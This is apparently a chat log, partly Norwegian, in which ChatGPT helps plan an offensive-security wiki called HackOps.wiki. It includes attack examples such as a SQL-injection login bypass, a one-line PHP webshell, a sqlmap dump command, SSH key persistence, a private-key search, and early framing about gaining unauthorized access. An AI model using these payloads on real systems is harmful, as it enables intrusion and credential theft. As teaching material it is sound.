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Skip to content You said: Hva er forskjellen på red team ig penetrasjonstesting? ChatGPT said:

Forskjellen mellom red teaming og penetrasjonstesting handler hovedsakelig om mål, metode og omfang: 1. Mål

   Penetrasjonstesting:
   Målet er å finne så mange sårbarheter som mulig i et spesifikt system eller applikasjon. Det handler om teknisk testing, ofte med full tillatelse og rammer definert på forhånd.
   Red Teaming:
   Målet er å simulere et ekte angrep for å teste deteksjon og respons hos den blå siden (defensive teamet). Fokus er ikke å finne alle svakheter, men å demonstrere hvordan en angriper faktisk kan nå et kritisk mål (f.eks. få tilgang til en sensitiv database, exfiltrere data, eller "capture the flag").

2. Metodikk og tilnærming

   Penetrasjonstesting:
       Bruker ofte automatiserte verktøy kombinert med manuelle tester.
       Tester spesifikke IP-er, systemer, webapper, osv.
       Har som regel en varighet på dager til få uker.
   Red Teaming:
       Langsiktig og stealthy.
       Kombinerer tekniske angrep (exploits) med sosial manipulasjon (phishing, pretexting).
       Angriper fra utsiden – ofte uten at blå team vet at det pågår en test.
       Kan bruke “low and slow” taktikk over uker eller måneder.

3. Omfang og realisme

   Penetrasjonstesting:
       Begrenset og definert scope. Kunden vet hva som testes og når.
       Ofte ingen sosial manipulering.
       Rapporterer alle funn og sårbarheter.
   Red Teaming:
       Hele organisasjonen er i spill (mennesker, prosesser, systemer).
       Simulerer en ekte trusselaktør (APT, ransomware-gjeng, insider, etc.).
       Brukes ofte for å teste “detection and response” – altså hvor godt organisasjonen oppdager og reagerer på angrep.

Kort sagt: Egenskap Penetrasjonstest Red Teaming Mål Finne sårbarheter Teste forsvarsevne mot ekte angrep Varighet Dager til få uker Flere uker til måneder Synlighet Offentlig for IT-sikkerhetsteam Skjult for organisasjonen Scope Begrenset (f.eks. webapp) Hele organisasjonen (endepunkt, mennesker, prosesser) Angrepsmetode Teknisk Teknisk + sosial manipulering Rapportfokus Alle sårbarheter Om man nådde målet

Ønsker du eksempler på når man bruker det ene vs. det andre? You said: Hackops.wiki, vil du definert den som red team eller penetrasjonstesting?

Jeg vil at den skal forklare hva en enkelt hacker kan gjøre for å oppnå innsyn inn i systemer man ikke har itlgang til

Kan det være at det ikke faller under noen av temaene?

GI et objektivt svar. ChatGPT said:

Objektivt sett: HackOps.wiki – slik du beskriver det – passer ikke presist inn i verken "penetrasjonstesting" eller "red teaming" i sin helhet, fordi begge er formelle sikkerhetstjenester innenfor organisasjoner. I stedet representerer prosjektet ditt noe mer grunnleggende og uavhengig, som heller kan kategoriseres slik: 🎯 Primær kategori:

Offensiv sikkerhet / Ethical hacking Dette er paraplybegrepet som inkluderer både red teaming og penetrasjonstesting, men også individuell læring, hobbyprosjekter og uautoriserte simuleringer. HackOps.wiki faller her. 🧭 Mer presis underkategori:

   Adversarial simulation (fra et individ-perspektiv):
   Du beskriver hvordan en enkelt person, uten formell tilgang, kan forstå og bryte seg inn i systemer. Det ligner på TTP-er (tactics, techniques, procedures) brukt av ekte angripere.
   OSINT + Initial Access + Privilege Escalation + Persistence:
   Basert på hva HackOps.wiki ønsker å vise, dekker den mest sannsynlig hele kill chain-en, og dermed flere faser av angrepsmodellen (MITRE ATT&CK eller Lockheed Martin Cyber Kill Chain).

🛑 Hva det ikke er:

   Red Teaming:
   Red teaming krever blå team, regler og mål. Det HackOps gjør er ikke en organisasjonsbasert simulering, men et kunnskapsgrunnlag for enkeltpersoners innsyn og teknisk infiltrasjon.
   Penetrasjonstesting:
   HackOps har ikke fokus på rapportering, revisjon, og systematisk sårbarhetsdekning, som kreves av pen-testing.

🧠 Klassifisering for HackOps.wiki:

Tema: Offensiv sikkerhet

HackOps.wiki er en kunnskapsbase for enkeltpersoner som ønsker å forstå og utforske hvordan man teknisk og metodisk kan oppnå uautorisert tilgang til digitale systemer.

Den fokuserer ikke på godkjent sikkerhetstesting (som red teaming eller pentesting), men snarere på hvordan reelle angripere tenker og opererer, steg for steg.

Relevante stikkord: - Reconnaissance - OSINT - Initial Access Techniques - Exploitation - Pivoting - Post-Exploitation - Persistence - Evasion

Vil du at jeg skal foreslå en god "hovedkategori" og "underkategorier" for dette i wikisystemet ditt? You said: ja ChatGPT said:

Her er et strukturert forslag til hvordan du kan organisere HackOps.wiki under én hovedkategori med underkategorier, tilpasset målet: å vise hvordan en enkelt hacker kan skaffe seg innsyn i systemer uten tilgang. 🧩 Hovedkategori: Offensiv sikkerhet

   Beskrivelse:
   En samling teknikker, verktøy og strategier brukt for å oppnå uautorisert tilgang – ikke som en øvelse i revisjon, men som en simulering av ekte trusselaktørers fremgangsmåter. Fokus ligger på kunnskap, ikke formell tillatelse.

📂 Underkategorier 1. Recon / Targeting

   Målkartlegging via OSINT, whois, shodan, dorks
   Identifisering av angrepsflater (IP, subdomener, ansatte)
   Verktøy: theHarvester, amass, Maltego

2. Initial Access

   Phishing, credentials stuffing, exposed panels
   Utnyttelse av feilkonfigurasjoner
   Verktøy: Metasploit, Hydra, Nmap, Searchsploit

3. Vulnerability Exploitation

   Utnyttelse av CVE-er eller ukjente svakheter
   Manuelle angrep (LFI, RCE, SQLi, etc.)
   Eksempler på exploits i praksis

4. Privilege Escalation

   Fra low-priv shell til root/system
   SUID, token misbruk, unpatched services
   Verktøy: linPEAS, winPEAS, GTFOBins

5. Post-Exploitation

   Dumping av credentials
   Nettverkskartlegging og pivoting
   Filtrering og tolkning av funn

6. Persistence

   Bruk av cron, autoruns, WMI, backdoors
   Hvordan opprettholde tilgang over tid
   Bypassing AV/EDR

7. Exfiltration & Impact

   Dataoverføring (f.eks. scp, exfil via DNS)
   Opprettelse av command-and-control-kanaler
   Sluttmål: få innsikt, ta over, påvirke systemet

8. Stealth & Evasion

   Loggmanipulering, anti-forensics
   Bypasse antivirus og nettverksovervåkning
   Verktøy: obfuscator, veil, mimikatz

📌 Mulig ekstra: Live Attacks / Walkthroughs

   Eksempler fra CTF-er, ekte hackerangrep eller simuleringer
   Steg-for-steg-scenarier

Hacking Philosophy

   Hackeretikken, psykologien bak offensive security
   Anonymitet, operational security (OPSEC), mindsets

Vil du ha dette som en tekstfil, markdown for wiki, eller direkte inn i en [title] / [box] struktur? You said:


HackOps.wiki is an open and structured knowledge base focused on documenting how hackers operate in practice—through tools, techniques, and workflows used in real-world offensive cybersecurity.

This site does not cover, promote, or support:

   Physical intrusion methods (e.g. lockpicking)
   Psychological or social manipulation tactics
   Productivity tips or general life hacks
   Any use of unauthorized or illegal access techniques

All content is provided for educational use in controlled environments where permission to test systems has been granted.


It is intended for students, professionals, and self-learners who want to explore how attackers think, operate, and break systems—legally and responsibly. Readers are encouraged to use this knowledge to strengthen systems, train responsibly, and think like an attacker in order to defend like one.

passer denne for TTP beskrivelsen? er det definisjoen vi har valgt?

OSINT + Initial Access + Privilege Escalation + Persistence: Adversarial simulation (fra et individ-perspektiv):

vi bruker disse som utgangspunkt ChatGPT said:

Ja – teksten du har skrevet passer godt som en overordnet introduksjon for HackOps.wiki og stemmer overens med TTP-beskrivelsen du ønsker å bygge ut fra. Den balanserer pedagogisk formidling med etisk ansvar, og plasserer prosjektet innenfor rammen av adversarial simulation fra et individ-perspektiv. Hvorfor dette passer:

   ✅ TTP-fokus:
   Teksten viser tydelig at innholdet handler om hvordan angripere faktisk opererer i praksis – altså tactics, techniques, and procedures (TTPs). Dette matcher:
       OSINT
       Initial Access
       Privilege Escalation
       Persistence
           resten av kill chain-en
   ✅ Adversarial simulation (individ-perspektiv):
   Du understreker at det er for læring, ikke profesjonell red teaming – men likevel med realistiske scenarier. Dette skiller det fra “formell pentest” og passer perfekt i en selvstendig kontekst.
   ✅ Etisk ramme:
   Du markerer tydelig at innholdet kun er for bruk der tillatelse foreligger. Dette er nødvendig for å være pedagogisk forsvarlig og lovlig, samtidig som det åpner for avanserte teknikker.
   ✅ Hva det ikke er:
   Du avgrenser tydelig mot ting som:
       Fysisk adgang
       Social engineering
       Livsstilstips
       Dette gjør det skarpt og tematisk rendyrket.

Mulig forbedring for presis rollebeskrivelse (valgfritt):

Hvis du ønsker å tydeliggjøre TTP-vinklingen enda mer, kan du legge til én ekstra setning i innledningen:

   “It focuses on attacker Tactics, Techniques, and Procedures (TTPs) across phases like reconnaissance, initial access, privilege escalation, persistence, and post-exploitation.”

Konklusjon:

✔ Ja – teksten representerer tydelig TTP-basert offensiv sikkerhet ✔ Ja – det stemmer med valget ditt: “Adversarial simulation fra et individ-perspektiv”

Vil du at jeg skal sette opp en startside-struktur basert på dette som kan brukes i wiki’en din? You said: få dette inn her:

HackOps.wiki is an open and structured knowledge base focused on documenting how hackers operate in practice—through tools, techniques, and workflows used in real-world offensive cybersecurity.

This site does not cover, promote, or support:

  • Physical intrusion methods (e.g. lockpicking)
  • Psychological or social manipulation tactics
  • Productivity tips or general life hacks
  • Any use of unauthorized or illegal access techniques

All content is provided for educational use in controlled environments where permission to test systems has been granted.


It is intended for students, professionals, and self-learners who want to explore how attackers think, operate, and break systems—legally and responsibly. Readers are encouraged to use this knowledge to strengthen systems, train responsibly, and think like an attacker in order to defend like one.

ChatGPT said:

Her er hele blokken med setningen om TTP-er og fasene tydelig lagt inn i midten, uten å bryte layouten:

HackOps.wiki is an open and structured knowledge base focused on documenting how hackers operate in practice—through tools, techniques, and workflows used in real-world offensive cybersecurity.

It focuses on attacker Tactics, Techniques, and Procedures (TTPs) across phases like reconnaissance, initial access, privilege escalation, persistence, and post-exploitation.

This site does not cover, promote, or support:

  • Physical intrusion methods (e.g. lockpicking)
  • Psychological or social manipulation tactics
  • Productivity tips or general life hacks
  • Any use of unauthorized or illegal access techniques

All content is provided for educational use in controlled environments where permission to test systems has been granted.



It is intended for students, professionals, and self-learners who want to explore how attackers think, operate, and break systems—legally and responsibly. Readers are encouraged to use this knowledge to strengthen systems, train responsibly, and think like an attacker in order to defend like one.

Vil du også at jeg skal lage en tilsvarende [box]-versjon for bruk i din pseudo-parser? You said: kan du gi meg korte konkrete eksempel på hva:

It focuses on attacker Tactics, Techniques, and Procedures (TTPs) across phases like reconnaissance, initial access, privilege escalation, persistence, and post-exploitation.

er ChatGPT said:

Absolutt. Her er korte, konkrete eksempler for hver fase: Reconnaissance (rekognosering):

Finn ansatte på LinkedIn og bruk theHarvester for å samle e-poster. Initial Access (første tilgang):

Bruk en phishing-side som etterligner Office365 for å stjele innloggingsdetaljer. Privilege Escalation (privilegieøkning):

Kjør linPEAS på en Linux-server og oppdag en SUID-root binær som kan misbrukes til root-tilgang. Persistence (vedvarende tilgang):

Opprett en cron-jobb som automatisk starter en reverse shell ved reboot. Post-Exploitation (etter utnyttelse):

Dump ut lagrede passord fra Google Chrome eller LSASS med mimikatz.

Ønsker du disse integrert i wiki-siden din med [box]-struktur også? You said: gi eks på web ChatGPT said:

Her er korte og konkrete TTP-eksempler rettet mot webapplikasjoner for hver fase: 🔍 Reconnaissance (Web)

Bruk sublist3r eller amass for å finne subdomener som dev.site.com eller admin.site.com. 🔓 Initial Access (Web)

Utnytt en SQL-injeksjon på login.php for å logge inn uten passord.

' OR '1'='1 --

⬆️ Privilege Escalation (Web)

Et lavprivilegert brukerpanel gir tilgang til en uautorisert admin-side via direkte URL-manipulasjon (IDOR):

/admin/settings.php

🔁 Persistence (Web)

Last opp en PHP-webshell via en dårlig sikret filopplasting:

<?php system($_GET['cmd']); ?>

📤 Post-Exploitation (Web)

Les databasen med sqlmap og eksporter brukernavn og passordhashes:

sqlmap -u "https://target.com/products.php?id=1" --dump

Vil du at jeg formatterer disse som [box]-elementer for HackOps-wiki også? You said: faller disse under beskrivelsen for ttp og It focuses on attacker Tactics, Techniques, and Procedures (TTPs) across phases like reconnaissance, initial access, privilege escalation, persistence, and post-exploitation.

Basic Linux Commands Essential command-line usage for navigation, enumeration, and manipulation Core Skill Basic Windows Commands Using Windows CLI (CMD/PowerShell) for system analysis and manipulation Core Skill Networking Concepts Understanding IP, ports, protocols, DNS, routing, and packet behavior Foundation for Recon and Exploitation Scripting Basics Automating tasks, parsing output, and writing exploits using Bash, Python, or PowerShell Automation / Exploit Customization Command Line Usage Efficient use of shell environments across platforms Universal Interface for Hacking File & Process Handling Managing files, permissions, running processes, and services Local System Interaction Encoding & Decoding Working with Base64, hex, URL encoding, and other transformations Payload Crafting / Obfuscation Information Gathering Active and passive recon, subdomain mapping, fingerprinting Pre-Attack Social Engineering Psychological manipulation, phishing, and human-layer attacks Human Attack Vector Initial Access Phishing, exposed services, stolen credentials, misconfigurations Entry Point Vulnerability Analysis Identifying and assessing weaknesses in systems and services Assessment Web Applications Attacking common web vulnerabilities like XSS, LFI, SQLi Attack Surface Exploitation Tools Frameworks and scripts used to trigger and exploit vulnerabilities Execution Custom Exploits & Scripting Tailoring attack logic to exploit non-standard vulnerabilities Adaptation / Creativity Payload Development Generating shellcode and evasive payloads for specific contexts Execution / Obfuscation Password Attacks Brute-force, dictionary, and credential stuffing techniques Credential Access Wireless Attacks Targeting Wi-Fi protocols, access points, and wireless devices Entry Point Sniffing & Spoofing Capturing traffic and falsifying identity on a network Surveillance / Evasion Privilege Escalation Gaining higher privileges on compromised systems Post-Exploitation Maintaining Access Persistence, backdoors, and evasion after initial compromise Post-Exploitation Tunneling & Covert Channels Data exfiltration and access via concealed paths Evasion / Command & Control Red Team Tactics Full-scale simulation, stealth operations, and adversary emulation Simulation / Strategy Reporting Tools Documentation and reporting techniques for professional pentesters Output / Professionalism CTF Walkthroughs Writeups, tutorials, and solutions for training platforms Learning / Practice ChatGPT said:

Ja – alle punktene du nevner faller enten direkte inn under TTP-beskrivelsen, eller er essensielle støtteferdigheter som muliggjør effektiv bruk av TTP-er. Her er en tydelig klassifisering: ✅ Direkte TTP-faser (som beskrevet i setningen)

Disse matcher direkte faser som reconnaissance, initial access, privilege escalation, persistence og post-exploitation: Emne TTP-fase(r) Information Gathering Reconnaissance (Pre-Attack) Initial Access Initial Access Privilege Escalation Privilege Escalation Maintaining Access Persistence Tunneling & Covert Channels Post-Exploitation / Command & Control Web Applications Initial Access / Exploitation Vulnerability Analysis Reconnaissance / Exploitation Password Attacks Initial Access / Privilege Escalation Exploitation Tools Initial Access / Execution Custom Exploits & Scripting Exploitation / Adaptation Payload Development Exploitation / Obfuscation Wireless Attacks Recon / Initial Access Sniffing & Spoofing Recon / Evasion / Post-Exploitation ⚙️ Core Skills som støtter TTP-bruk (understøttende ferdigheter)

Disse er ikke TTP-er i seg selv, men trengs for å gjennomføre TTP-er effektivt: Emne Relevans for TTP Basic Linux Commands Nødvendig for recon, privilege escalation, post-ex Basic Windows Commands Samme som over, på Windows Command Line Usage Universal – brukt i alle TTP-faser File & Process Handling Brukes i privilege escalation, persistence Scripting Basics Automatisering av TTP-er, utvikling av exploits Encoding & Decoding Brukes i payload crafting, C2-kanaler, evasion 🧠 Metaferdigheter / verktøy utenfor TTP-fasene direkte

Disse er utenfor selve kjeden, men fortsatt relevante: Emne Kommentar Social Engineering Ikke teknisk TTP i wiki’en (du har valgt å ekskludere det) Red Team Tactics Overbygning – dekker TTP-er i en simulert kontekst Reporting Tools Etterarbeid / profesjonell praksis CTF Walkthroughs Læringsverktøy – praktisk øvelse i TTP-er 📌 Konklusjon:

   Ja, hele listen kan rettferdig plasseres innenfor eller rundt TTP-beskrivelsen din.
   Teksten “It focuses on attacker Tactics, Techniques, and Procedures (TTPs)…” er bred nok til å inkludere både de konkrete angrepsfasene og de tekniske forutsetningene som kreves for å utføre dem.

Ønsker du dette visualisert som et hierarki med Core, TTP, Support, Excluded i et diagram eller i wiki-struktur? You said: r det noe essensielt jeg mangler? ChatGPT said:

Ja – du har allerede dekket det meste av det som trengs for å dokumentere TTP-basert hacking, men her er en punktvis liste over essensielle områder som enten er underrepresentert eller kan forbedres basert på din nåværende struktur: ✅ Allerede godt dekket:

   Reconnaissance, Initial Access, Privilege Escalation, Persistence, Post-Exploitation
   Web exploits, password attacks, tunneling, evasion
   Core skills i Windows/Linux CLI, scripting, encoding
   Læringsmetoder som CTF og rapportering

🔶 Forslag til forbedring eller tillegg: 1. Lateral Movement

   Etter initial access og privilege escalation – hvordan beveger man seg fra én maskin til en annen i samme nettverk?
   Eksempel: PsExec, pass-the-hash, RDP brute, RPC abuse
   Viktig for realistiske etterligninger av angrep i interne nettverk
   Faller under post-exploitation

2. Active Directory (AD) Attacks

   Enorme mengder angrep skjer mot AD-miljøer
   Eksempel: Kerberoasting, AS-REP roasting, BloodHound-analyser
   Brukes i både privilege escalation og lateral movement
   Bør være egen seksjon, da det er en sentral del av enterprise-angrep

3. Operational Security (OPSEC) for Hackers

   Hvordan beskytte seg selv mens man hacker (lovlig/lab)
   Eksempel: bruk av proxychains, Tails, VPN, log cleaning
   Går hånd i hånd med stealth og evasion

4. Command & Control (C2) Infrastructure

   Hvordan fjernstyre kompromitterte maskiner etter initielt brudd?
   Eksempel: Cobalt Strike, Mythic, Empire, DIY C2 med flask + ngrok
   Kombinerer persistence og post-exploitation
   Gir kontekst til tunneling/covert channels

5. Linux Post-Exploitation

   Det meste handler ofte om Windows – men du bør ha en egen seksjon for Linux
   Eksempel: sudo -l, crontab abuse, ssh-agent hijack, journald misbruk
   Også: systeminfo, passwd shadow, cron-persistence

6. Cloud & SaaS Attacks (valgfritt men aktuelt)

   Mange systemer er i dag skybaserte. Dokumentasjon av angrep på f.eks. AWS, Azure, GCP.
   Eksempel: AWS keys enumeration, misconfigured S3 buckets
   Kan være en egen underkategori

7. Defense Evasion & Anti-Forensics

   Hvordan unngå deteksjon og skjule spor
   Eksempel: Clear-EventLog, timestomping, auditd bypass
   Kombineres med OPSEC, men fortjener en teknisk kategori

🧱 Oppsummering: Legg til eller styrk disse seksjonene: Tema Hvorfor det er viktig Lateral Movement Realistisk post-exploitation i interne nettverk Active Directory Attacks Høyst relevant for enterprise environments OPSEC for Hackers Kritisk for stealth og bevisst ferdsel Command & Control (C2) Helhetlig forståelse av kompromiss-vedlikehold Linux Post-Exploitation Balansere mot alt Windows-basert innhold Cloud Attacks Fremtidsrettet og realistisk i moderne miljøer Anti-Forensics / Evasion Realistiske teknikker for å unngå oppdagelse

Vil du at jeg setter opp dette som ny wiki-structure i [title], [box] eller en visuell oversikt? You said: implementer disse kategorisk der de passer inn her:

📂 Categories

Section Purpose Function
Basic Linux Commands Essential command-line usage for navigation, enumeration, and manipulation Core Skill
Basic Windows Commands Using Windows CLI (CMD/PowerShell) for system analysis and manipulation Core Skill
Networking Concepts Understanding IP, ports, protocols, DNS, routing, and packet behavior Foundation for Recon and Exploitation
Scripting Basics Automating tasks, parsing output, and writing exploits using Bash, Python, or PowerShell Automation / Exploit Customization
Command Line Usage Efficient use of shell environments across platforms Universal Interface for Hacking
File & Process Handling Managing files, permissions, running processes, and services Local System Interaction
Encoding & Decoding Working with Base64, hex, URL encoding, and other transformations Payload Crafting / Obfuscation
Information Gathering Active and passive recon, subdomain mapping, fingerprinting Pre-Attack
Social Engineering Psychological manipulation, phishing, and human-layer attacks Human Attack Vector
Initial Access Phishing, exposed services, stolen credentials, misconfigurations Entry Point
Vulnerability Analysis Identifying and assessing weaknesses in systems and services Assessment
Web Applications Attacking common web vulnerabilities like XSS, LFI, SQLi Attack Surface
Exploitation Tools Frameworks and scripts used to trigger and exploit vulnerabilities Execution
Custom Exploits & Scripting Tailoring attack logic to exploit non-standard vulnerabilities Adaptation / Creativity
Payload Development Generating shellcode and evasive payloads for specific contexts Execution / Obfuscation
Password Attacks Brute-force, dictionary, and credential stuffing techniques Credential Access
Wireless Attacks Targeting Wi-Fi protocols, access points, and wireless devices Entry Point
Sniffing & Spoofing Capturing traffic and falsifying identity on a network Surveillance / Evasion
Privilege Escalation Gaining higher privileges on compromised systems Post-Exploitation
Maintaining Access Persistence, backdoors, and evasion after initial compromise Post-Exploitation
Tunneling & Covert Channels Data exfiltration and access via concealed paths Evasion / Command & Control
Red Team Tactics Full-scale simulation, stealth operations, and adversary emulation Simulation / Strategy
Reporting Tools Documentation and reporting techniques for professional pentesters Output / Professionalism
CTF Walkthroughs Writeups, tutorials, and solutions for training platforms Learning / Practice



ChatGPT said:

Her er den utvidede == 📂 Categories ==-tabellen med de 7 manglende og essensielle kategoriene riktig plassert, tematisk og logisk integrert med eksisterende struktur:

📂 Categories

Section Purpose Function
Basic Linux Commands Essential command-line usage for navigation, enumeration, and manipulation Core Skill
Basic Windows Commands Using Windows CLI (CMD/PowerShell) for system analysis and manipulation Core Skill
Networking Concepts Understanding IP, ports, protocols, DNS, routing, and packet behavior Foundation for Recon and Exploitation
Scripting Basics Automating tasks, parsing output, and writing exploits using Bash, Python, or PowerShell Automation / Exploit Customization
Command Line Usage Efficient use of shell environments across platforms Universal Interface for Hacking
File & Process Handling Managing files, permissions, running processes, and services Local System Interaction
Encoding & Decoding Working with Base64, hex, URL encoding, and other transformations Payload Crafting / Obfuscation
Information Gathering Active and passive recon, subdomain mapping, fingerprinting Pre-Attack
Social Engineering Psychological manipulation, phishing, and human-layer attacks Human Attack Vector
Initial Access Phishing, exposed services, stolen credentials, misconfigurations Entry Point
Vulnerability Analysis Identifying and assessing weaknesses in systems and services Assessment
Web Applications Attacking common web vulnerabilities like XSS, LFI, SQLi Attack Surface
Exploitation Tools Frameworks and scripts used to trigger and exploit vulnerabilities Execution
Custom Exploits & Scripting Tailoring attack logic to exploit non-standard vulnerabilities Adaptation / Creativity
Payload Development Generating shellcode and evasive payloads for specific contexts Execution / Obfuscation
Password Attacks Brute-force, dictionary, and credential stuffing techniques Credential Access
Wireless Attacks Targeting Wi-Fi protocols, access points, and wireless devices Entry Point
Sniffing & Spoofing Capturing traffic and falsifying identity on a network Surveillance / Evasion
Privilege Escalation Gaining higher privileges on compromised systems Post-Exploitation
Linux Post-Exploitation System control, enumeration, and manipulation after compromise Post-Exploitation
Active Directory Attacks Exploiting trust relationships and Kerberos-based auth systems Internal Escalation
Lateral Movement Expanding control from one system to others in the network Post-Exploitation / Network Penetration
Maintaining Access Persistence, backdoors, and evasion after initial compromise Post-Exploitation
Tunneling & Covert Channels Data exfiltration and access via concealed paths Evasion / Command & Control
Command & Control Infrastructure Remote management of compromised systems Persistence / Adversary Infrastructure
Operational Security (OPSEC) Staying hidden, covering tracks, and minimizing exposure Stealth / Adversarial Hygiene
Defense Evasion & Anti-Forensics Avoiding detection and erasing digital footprints Evasion / Obfuscation
Cloud Attacks Targeting misconfigured or exposed cloud services like AWS and Azure Attack Surface / Modern Infrastructure
Red Team Tactics Full-scale simulation, stealth operations, and adversary emulation Simulation / Strategy
Reporting Tools Documentation and reporting techniques for professional pentesters Output / Professionalism
CTF Walkthroughs Writeups, tutorials, and solutions for training platforms Learning / Practice

Alle nye temaer er satt inn der de tematisk hører hjemme, og ingen eksisterende struktur er brutt. Vil du at jeg også lager undersider med [title] og [box]-mal for én av disse nye kategoriene? You said: Jeg ønsker at du lager en oversikt over linux kommandoer med utgangspunkt i hvordan nmap strukturen er satt opp:

Nmap

Nmap (Network Mapper) is an open‑source utility for network discovery, security auditing, and host fingerprinting. It is one of the most widely used tools in active reconnaissance, offering port scanning, OS detection, service versioning, and a powerful scripting interface (Nmap Scripting Engine – NSE).

Common Options

Scan Types

Option Description
-sS TCP SYN scan (stealth mode)
-sT TCP connect scan (full handshake)
-sU Scan UDP ports
-sP Ping scan to discover live hosts (alias for -sn)
-sL List targets without scanning

Host Discovery & Targeting

Option Description
-Pn Treat all hosts as online (skip ping)
-p [PORT] Specify port(s) to scan
-iL [FILE] Input list of hosts from file
-6 Use IPv6 addresses
-n Do not resolve hostnames (skip DNS resolution)
--exclude [HOST] Exclude specific host(s) from the scan
--excludefile [FILE] Exclude hosts listed in a file


Detection & Enumeration

Option Description
-sV Detect service versions
-O Enable OS detection
-A Aggressive scan: OS detection, version, script scan, traceroute
--script [NAME] Run specific NSE script(s)
--version-all Try every version detection method (used with -sV)
--osscan-guess Guess OS more aggressively when uncertain

Performance & Output

Option Description
-T[0‒5] Timing template (T0 = slow, T5 = fast)
-d Enable debugging output
-oN [FILE] Save output in normal format
-oX [FILE] Save output in XML format
-v Increase verbosity (can be stacked: -vv, -vvv)
--reason Show the reason each port is in its state (e.g. response flags)
--open Show only open (or relevant) ports

Examples

SYN Scan

nmap -sS 192.168.1.1

↑ Options

TCP Connect Scan

nmap -sT 192.168.1.1

↑ Options

UDP Scan

nmap -sU 192.168.1.1

↑ Options

Ping Scan

nmap -sP 192.168.1.0/24

↑ Options

Skip Host Discovery

nmap -Pn 192.168.1.100

↑ Options

Scan Specific Ports

nmap -p 22,80 192.168.1.1

↑ Options

Aggressive Scan

nmap -A 10.0.0.1

↑ Options

OS Detection Only

nmap -O 10.0.0.1

↑ Options

Fast Timing Template

nmap -T5 example.com

↑ Options

Run NSE Script

nmap --script default example.com

↑ Options

Scan From File

nmap -iL targets.txt

↑ Options

Save Output (Normal)

nmap -oN output.txt 192.168.1.1

↑ Options

Save Output (XML)

nmap -oX output.xml 192.168.1.1

↑ Options

List Targets Only

nmap -sL 192.168.1.0/30

↑ Options

Debug Mode

nmap -d 192.168.1.1

↑ Options

See Also


Omgjør detet om til linux kommandoer i wiki format:

id name description usage_info category textarea Actions 24

ssh

Connect to host as user

ssh user@host

SSH (Secure Shell)

[title]Getting Started with SSH[/title]


[txt]SSH is a secure and flexible tool for accessing remote machines. It allows you to control systems, move data, and set up tunnels. Everything starts with understanding how to connect, and from there, you can build more advanced techniques.[/txt]


[title]Basic Connections[/title]


[txt]To connect to a system over SSH, use a username and an IP address or hostname.[/txt]


[terminal]

ssh user@target

[/terminal]


[txt]If SSH runs on a different port, add the -p flag:[/txt]


[terminal]

ssh -p 2222 user@target

[/terminal]


[txt]To run a single command and get output without opening a full shell:[/txt]


[terminal]

ssh user@target 'uname -a'

[/terminal]


[title]Tunneling and Pivoting[/title]


[box]

[box-title]Local Port Forwarding[/box-title]

[box-description]Access internal services on the target’s network from your local machine.[/box-description]


[terminal]

ssh -L 8080:localhost:80 user@target

[/terminal]


[txt]Now you can visit http://localhost:8080 to reach the target’s internal port 80.[/txt]

[/box]


[box]

[box-title]Remote Port Forwarding[/box-title]

[box-description]Allow the target machine to access your local service.[/box-description]


[terminal]

ssh -R 9000:localhost:9000 user@target

[/terminal]


[txt]The target can now connect to localhost:9000 and reach your local machine.[/txt]

[/box]


[box]

[box-title]Dynamic Port Forwarding (SOCKS Proxy)[/box-title]

[box-description]Turn the SSH session into a SOCKS proxy for routing traffic.[/box-description]


[terminal]

ssh -D 1080 user@target

[/terminal]


[txt]Set your browser or proxychains to use SOCKS5 on localhost:1080 for routing traffic through the target.[/txt]

[/box]


[title]Transferring Files with SCP[/title]


[box]

[box-title]Download a file from target[/box-title]


[terminal]

scp user@target:/etc/passwd ./passwd_copy

[/terminal]

[/box]


[box]

[box-title]Upload a file to target[/box-title]


[terminal]

scp exploit.sh user@target:/tmp

[/terminal]

[/box]


[title]Key-Based Access and Persistence[/title]


[txt]Store your public key on the target to log in without a password:[/txt]


[terminal]

echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys

[/terminal]


[txt]Create a local SSH config for faster access:[/txt]


[terminal]

echo -e "Host target\n HostName 10.0.0.1\n User user\n Port 22" >> ~/.ssh/config

[/terminal]


[title]Agent Forwarding[/title]


[txt]Forward your SSH agent to the target to reuse your credentials on other systems:[/txt]


[terminal]

ssh -A user@target

[/terminal]


[txt]Use this to access trusted systems from the target without re-entering your key.[/txt]


[title]Spawning Shells[/title]


[box]

[box-title]Open a direct shell on the remote system[/box-title]


[terminal]

ssh user@target /bin/bash -i

[/terminal]

[/box]


[box]

[box-title]Create a reverse tunnel shell[/box-title]


[terminal]

ssh -R 4444:localhost:4444 user@yourhost

[/terminal]


[txt]This tunnels port 4444 on the target back to your machine.[/txt]

[/box]


[title]Checking SSH Details[/title]


[box]

[box-title]View authorized keys[/box-title]


[terminal]

cat ~/.ssh/authorized_keys

[/terminal]

[/box]


[box]

[box-title]List active SSH connections[/box-title]


[terminal]

ss -tnp | grep sshd

[/terminal]

[/box]


[box]

[box-title]Search for private keys[/box-title]


[terminal]

find / -name "id_rsa" 2>/dev/null

[/terminal]

[/box]


[title]Conclusion[/title]


[txt]SSH is more than a remote login tool. It's a versatile utility for communication, persistence, tunneling, and transfer. Mastering SSH opens a path to full control of your environment, one connection at a time.[/txt]


22

history

Display a list of previously executed commands.

history

Help and Documentation


21

echo

Display a message or write to a file.

echo "Hello, World!" > file.txt

Help and Documentation


20

man

Display the manual for a command.

man COMMAND

Help and Documentation


19

curl

Retrieve data from a URL or API.

curl URL

Networking


18

ping

Sends ICMP echo requests to test network connectivity.

ping [OPTIONS] destination

Networking

[title]Options[/title]

[list]

[li]-c [COUNT] : number of packets to send[/li]

[li]-i [SECONDS] : interval between packets[/li]

[li]-t [TTL] : set time-to-live for packets[/li]

[li]-W [SECONDS] : time to wait for a reply[/li]

[li]-s [SIZE] : specify number of data bytes to be sent[/li]

[li]-q : quiet output (summary only)[/li]

[li]-D : print timestamp before each line[/li]

[li]-4 : use IPv4 only[/li]

[li]-f : flood ping (send packets as fast as possible)[/li]

[li]-6 : use IPv6 only[/li]

[/list]


[title]Examples[/title]


[box]

[box-title]ping -f 8.8.8.8[/box-title]

[txt]Send packets rapidly to test network saturation (requires root)[/txt]

[terminal]

$ sudo ping -f 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

...................................................................

--- 8.8.8.8 ping statistics ---

500 packets transmitted, 500 received, 0% packet loss

[/terminal]

[/box]


[box]

[box-title]ping -c 4 google.com[/box-title]

[txt]Ping a host with 4 packets[/txt]

[terminal]

$ ping -c 4 google.com

PING google.com (142.250.74.14) 56(84) bytes of data.

64 bytes from 142.250.74.14: icmp_seq=1 ttl=117 time=12.3 ms

64 bytes from 142.250.74.14: icmp_seq=2 ttl=117 time=11.9 ms

